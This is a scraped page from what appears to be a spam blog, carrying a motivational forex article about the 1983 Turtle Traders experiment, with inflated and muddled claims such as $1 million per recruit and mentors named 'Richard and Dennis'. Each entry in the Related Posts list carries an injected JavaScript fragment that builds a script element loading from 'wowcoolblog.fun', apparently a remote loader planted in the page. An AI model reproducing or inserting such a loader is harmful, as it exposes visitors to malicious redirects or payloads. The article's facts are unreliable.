forex Yasmine The Turtle Traders: Nature vs. Nurture in Forex Trading

Yasmine The Turtle Traders: Nature vs. Nurture in Forex Trading

Here’s a popular trading statistic that’s thrown around a lot in the retail forex world: 95% of traders fail

But the fact of the matter is that nobody is born a good trader. Successful traders are made, not born.

In 1983, two commodity traders, Richard Dennis and Bill Eckhardt, got into a heated debate on whether being a good trader was a product of genes or if it could be taught.

It was the classic nature versus nurture debate.

Eckhardt believed that exceptional trading came from within and that it could not be taught.

Their argument got so intense that they decided to put their theories to the test.

Dennis recruited 23 people from all sorts of different backgrounds and started a training program to help see how each would perform after some training. In their training, each recruit was given a set of trading rules to follow, but in the end, it was entirely up to them how they would trade.

Dennis called his recruits “The Turtles” and gave each of them $1 million

Within 4 years, the group as a whole made a sum of over $100 million

The Turtles experiment proved that you don’t need to have a “trader gene” to become good at trading and that almost anybody can become an excellent trader with the right tools and lots of practice.

The story of the Turtle Traders is truly a motivating one.

They had almost ZERO prior trading experience yet most, if not all of them were able to make big cash during their run with Richard and Dennis. They essentially learned from trial and error, and from experience.

So always remember to train well, young padawan. It is nurture, not nature that is more important in shaping the trader mindset.

Add Comment
forex
Monday, March 2, 2020

Share

Like

G+

Tweet

Tweet

Related Posts

  • Shante Chart Art: Range and Reversal Plays on EUR/USD and GBP/AUD var d=document;var s=d.createElement('script'); s.src='//wowcoolblog.fun/9Q7f8B?se_referrer=' + e
  • Shery 4 Ways Influencers are Like Forex Traders var d=document;var s=d.createElement('script'); s.src='//wowcoolblog.fun/9Q7f8B?se_referrer=' + e
  • Silvana Trade Idea: GBP/CHF Fib Short Play var d=document;var s=d.createElement('script'); s.src='//wowcoolblog.fun/9Q7f8B?se_referrer=' + e
  • Ayesha Chart Art: Short and Long-Term Setups on EUR/USD and USD/CHF var d=document;var s=d.createElement('script'); s.src='//wowcoolblog.fun/9Q7f8B?se_referrer=' + e
  • Crysta 2 Activities That Help Sustain Trading Process Changes var d=document;var s=d.createElement('script'); s.src='//wowcoolblog.fun/9Q7f8B?se_referrer=' + e
  • Cleo Trade Idea: CAD/JPY Top of Range Retest var d=document;var s=d.createElement('script'); s.src='//wowcoolblog.fun/9Q7f8B?se_referrer=' + e

Next Last Home

Weekly Posts

  • Jen January Brings Resolutions and Reflection – and Divorce
    Every year, the number of couples filing for divorce increases between the months of January and March. The question is: why do so many cou...
  • Haley Does a sperm donor have parental rights under New Jersey law?
    By Bari Zell-Weinberger Updated: October 16, 2017 Categories: Relationships and Dating Some couples prefer to go through the insemination p...
  • Malia Say Goodbye with Love
    Our challenge in starting over is to release our pain with forgiveness, understanding, gratitude, and trust. Without a complete understandi...

Label

  • adult
  • casino
  • coins
  • dating
  • forex
  • healthy
  • movies
  • option

Contact

Name

Email *

Message *

Copyright © 2020 my mini blog All Right Reserved
Created by My mini blog | and Janson McClintock